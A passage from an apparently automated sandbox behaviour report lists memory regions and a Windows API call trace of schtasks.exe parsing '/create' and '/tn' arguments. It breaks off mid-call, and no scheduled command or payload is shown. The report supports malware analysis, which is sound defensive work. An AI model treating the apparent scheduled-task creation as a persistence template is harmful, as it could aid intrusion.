= "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2916 start_va = 0xc0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2917 start_va = 0x1c0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2918 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2919 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2920 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2921 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2922 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2923 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2924 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2925 start_va = 0x5c0000 end_va = 0x740fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 2926 start_va = 0x750000 end_va = 0x1b4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 2927 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2928 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2929 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2930 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2931 start_va = 0x1b50000 end_va = 0x1e1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2932 start_va = 0x1e20000 end_va = 0x1e9cfff monitored = 0 entry_point = 0x1e2cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2933 start_va = 0x1e20000 end_va = 0x1e9cfff monitored = 0 entry_point = 0x1e2cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2934 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2935 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2936 start_va = 0x1e20000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 2937 start_va = 0x1e20000 end_va = 0x1efefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 2938 start_va = 0x1fd0000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 2939 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2940 start_va = 0x2140000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 2941 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2942 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2943 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2944 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2945 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2946 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2947 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2948 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 148 os_tid = 0xfc8 [0141.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1bf9c0 | out: lpSystemTimeAsFileTime=0x1bf9c0*(dwLowDateTime=0x22cde0e0, dwHighDateTime=0x1d8a92a)) [0141.425] GetCurrentProcessId () returned 0xfc4 [0141.425] GetCurrentThreadId () returned 0xfc8 [0141.425] GetTickCount () returned 0x13888c4 [0141.425] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1bf9c8 | out: lpPerformanceCount=0x1bf9c8*=2062028865338) returned 1 [0141.426] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0141.426] __set_app_type (_Type=0x1) [0141.426] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0141.426] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0141.427] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0141.427] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0141.427] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0141.427] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0141.427] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0141.428] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0141.428] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0141.428] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0141.428] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0141.428] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0141.428] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0141.428] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0141.428] WinSqmIsOptedIn () returned 0x0 [0141.429] GetProcessHeap () returned 0x330000 [0141.429] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34b9d0 [0141.429] SetLastError (dwErrCode=0x0) [0141.429] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0141.429] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0141.429] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0141.429] VerifyVersionInfoW (in: lpVersionInformation=0x1bf180, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bf180) returned 1 [0141.429] GetProcessHeap () returned 0x330000 [0141.429] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34b9f0 [0141.429] lstrlenW (lpString="") returned 0 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x2) returned 0x34ba10 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345960 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34ba30 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345990 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x3459c0 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x3459f0 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345a20 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34ba50 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345a50 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345a80 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345ab0 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345ae0 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34ba70 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345b10 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345b40 [0141.430] GetProcessHeap () returned 0x330000 [0141.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345b70 [0141.430] GetProcessHeap () returned 0x330000 [0141.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345ba0 [0141.431] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0141.431] SetLastError (dwErrCode=0x0) [0141.431] GetProcessHeap () returned 0x330000 [0141.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345bd0 [0141.431] GetProcessHeap () returned 0x330000 [0141.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345c00 [0141.431] GetProcessHeap () returned 0x330000 [0141.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345c30 [0141.431] GetProcessHeap () returned 0x330000 [0141.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345c60 [0141.431] GetProcessHeap () returned 0x330000 [0141.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345c90 [0141.431] GetProcessHeap () returned 0x330000 [0141.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34ba90 [0141.431] _memicmp (_Buf1=0x34ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.431] GetProcessHeap () returned 0x330000 [0141.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x208) returned 0x34bc30 [0141.431] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0141.431] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0141.434] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0141.434] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0141.436] GetProcessHeap () returned 0x330000 [0141.436] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x74e) returned 0x34c1e0 [0141.436] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0141.436] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x34c1e0 | out: lpData=0x34c1e0) returned 1 [0141.436] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0141.436] VerQueryValueW (in: pBlock=0x34c1e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bf268, puLen=0x1bf2d0 | out: lplpBuffer=0x1bf268*=0x34c57c, puLen=0x1bf2d0) returned 1 [0141.439] _memicmp (_Buf1=0x34ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.439] _vsnwprintf (in: _Buffer=0x34bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bf248 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0141.439] VerQueryValueW (in: pBlock=0x34c1e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bf2d8, puLen=0x1bf2c8 | out: lplpBuffer=0x1bf2d8*=0x34c3a8, puLen=0x1bf2c8) returned 1 [0141.439] lstrlenW (lpString="schtasks.exe") returned 12 [0141.439] lstrlenW (lpString="schtasks.exe") returned 12 [0141.439] lstrlenW (lpString=".EXE") returned 4 [0141.439] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0141.440] lstrlenW (lpString="schtasks.exe") returned 12 [0141.440] lstrlenW (lpString=".EXE") returned 4 [0141.440] _memicmp (_Buf1=0x34ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.440] lstrlenW (lpString="schtasks") returned 8 [0141.441] GetProcessHeap () returned 0x330000 [0141.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345d80 [0141.441] GetProcessHeap () returned 0x330000 [0141.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34caf0 [0141.441] GetProcessHeap () returned 0x330000 [0141.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cb20 [0141.441] GetProcessHeap () returned 0x330000 [0141.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cb50 [0141.441] GetProcessHeap () returned 0x330000 [0141.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34bab0 [0141.441] _memicmp (_Buf1=0x34bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.441] GetProcessHeap () returned 0x330000 [0141.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xa0) returned 0x34c030 [0141.441] GetProcessHeap () returned 0x330000 [0141.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cb80 [0141.441] GetProcessHeap () returned 0x330000 [0141.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cbb0 [0141.441] GetProcessHeap () returned 0x330000 [0141.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cbe0 [0141.441] GetProcessHeap () returned 0x330000 [0141.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34bad0 [0141.441] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.441] GetProcessHeap () returned 0x330000 [0141.441] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x200) returned 0x34d2c0 [0141.441] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0141.442] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0141.442] GetProcessHeap () returned 0x330000 [0141.442] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x30) returned 0x347a80 [0141.442] _vsnwprintf (in: _Buffer=0x34c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bf248 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0141.442] GetProcessHeap () returned 0x330000 [0141.442] GetProcessHeap () returned 0x330000 [0141.442] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c1e0) returned 1 [0141.442] GetProcessHeap () returned 0x330000 [0141.442] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c1e0) returned 0x74e [0141.442] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c1e0 | out: hHeap=0x330000) returned 1 [0141.442] SetLastError (dwErrCode=0x0) [0141.443] GetThreadLocale () returned 0x409 [0141.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.443] lstrlenW (lpString="?") returned 1 [0141.443] GetThreadLocale () returned 0x409 [0141.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.443] lstrlenW (lpString="create") returned 6 [0141.443] GetThreadLocale () returned 0x409 [0141.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.443] lstrlenW (lpString="delete") returned 6 [0141.443] GetThreadLocale () returned 0x409 [0141.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.443] lstrlenW (lpString="query") returned 5 [0141.443] GetThreadLocale () returned 0x409 [0141.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.443] lstrlenW (lpString="change") returned 6 [0141.443] GetThreadLocale () returned 0x409 [0141.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.443] lstrlenW (lpString="run") returned 3 [0141.443] GetThreadLocale () returned 0x409 [0141.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.443] lstrlenW (lpString="end") returned 3 [0141.443] GetThreadLocale () returned 0x409 [0141.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.444] lstrlenW (lpString="showsid") returned 7 [0141.444] GetThreadLocale () returned 0x409 [0141.444] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.444] SetLastError (dwErrCode=0x0) [0141.444] SetLastError (dwErrCode=0x0) [0141.444] lstrlenW (lpString="/create") returned 7 [0141.444] lstrlenW (lpString="-/") returned 2 [0141.444] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.444] lstrlenW (lpString="?") returned 1 [0141.444] lstrlenW (lpString="?") returned 1 [0141.444] GetProcessHeap () returned 0x330000 [0141.444] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34c1e0 [0141.444] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.444] GetProcessHeap () returned 0x330000 [0141.444] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xa) returned 0x34c200 [0141.444] lstrlenW (lpString="create") returned 6 [0141.444] GetProcessHeap () returned 0x330000 [0141.444] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34c220 [0141.444] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.444] GetProcessHeap () returned 0x330000 [0141.444] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x14) returned 0x34c240 [0141.444] _vsnwprintf (in: _Buffer=0x34c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|?|") returned 3 [0141.444] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|create|") returned 8 [0141.444] lstrlenW (lpString="|?|") returned 3 [0141.444] lstrlenW (lpString="|create|") returned 8 [0141.444] SetLastError (dwErrCode=0x490) [0141.444] lstrlenW (lpString="create") returned 6 [0141.444] lstrlenW (lpString="create") returned 6 [0141.445] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.445] GetProcessHeap () returned 0x330000 [0141.445] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c200) returned 1 [0141.445] GetProcessHeap () returned 0x330000 [0141.445] RtlReAllocateHeap (Heap=0x330000, Flags=0xc, Ptr=0x34c200, Size=0x14) returned 0x34c260 [0141.445] lstrlenW (lpString="create") returned 6 [0141.445] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.445] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|create|") returned 8 [0141.445] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|create|") returned 8 [0141.445] lstrlenW (lpString="|create|") returned 8 [0141.445] lstrlenW (lpString="|create|") returned 8 [0141.445] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0141.445] SetLastError (dwErrCode=0x0) [0141.445] SetLastError (dwErrCode=0x0) [0141.445] SetLastError (dwErrCode=0x0) [0141.445] lstrlenW (lpString="/tn") returned 3 [0141.445] lstrlenW (lpString="-/") returned 2 [0141.445] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.445] lstrlenW (lpString="?") returned 1 [0141.445] lstrlenW (lpString="?") returned 1 [0141.445] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.445] lstrlenW (lpString="tn") returned 2 [0141.445] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.445] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|?|") returned 3 [0141.445] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tn|") returned 4 [0141.445] lstrlenW (lpString="|?|") returned 3 [0141.445] lstrlenW (lpString="|tn|") returned 4 [0141.446] SetLastError (dwErrCode=0x490) [0141.446] lstrlenW (lpString="create") returned 6 [0141.446] lstrlenW (lpString="create") returned 6 [0141.446] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.446] lstrlenW (lpString="tn") returned 2 [0141.446] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.446] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|create|") returned 8 [0141.446] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tn|") returned 4 [0141.446] lstrlenW (lpString="|create|") returned 8 [0141.446] lstrlenW (lpString="|tn|") returned 4 [0141.446] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0141.446] SetLastError (dwErrCode=0x490) [0141.446] lstrlenW (lpString="delete") returned 6 [0141.446] lstrlenW (lpString="delete") returned 6 [0141.446] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.446] lstrlenW (lpString="tn") returned 2 [0141.446] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.446] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|delete|") returned 8 [0141.446] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tn|") returned 4 [0141.446] lstrlenW (lpString="|delete|") returned 8 [0141.446] lstrlenW (lpString="|tn|") returned 4 [0141.446] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0141.446] SetLastError (dwErrCode=0x490) [0141.446] lstrlenW (lpString="query") returned 5 [0141.446] lstrlenW (lpString="query") returned 5 [0141.446] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.447] lstrlenW (lpString="tn") returned 2 [0141.447] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.447] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|query|") returned 7 [0141.447] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tn|") returned 4 [0141.447] lstrlenW (lpString="|query|") returned 7 [0141.447] lstrlenW (lpString="|tn|") returned 4 [0141.447] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0141.447] SetLastError (dwErrCode=0x490) [0141.447] lstrlenW (lpString="change") returned 6 [0141.447] lstrlenW (lpString="change") returned 6 [0141.447] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.447] lstrlenW (lpString="tn") returned 2 [0141.447] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.447] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|change|") returned 8 [0141.447] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tn|") returned 4 [0141.447] lstrlenW (lpString="|change|") returned 8 [0141.447] lstrlenW (lpString="|tn|") returned 4 [0141.447] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0141.447] SetLastError (dwErrCode=0x490) [0141.447] lstrlenW (lpString="run") returned 3 [0141.447] lstrlenW (lpString="run") returned 3 [0141.447] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.447] lstrlenW (lpString="tn") returned 2 [0141.447] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.447] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|run|") returned 5 [0141.448] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", 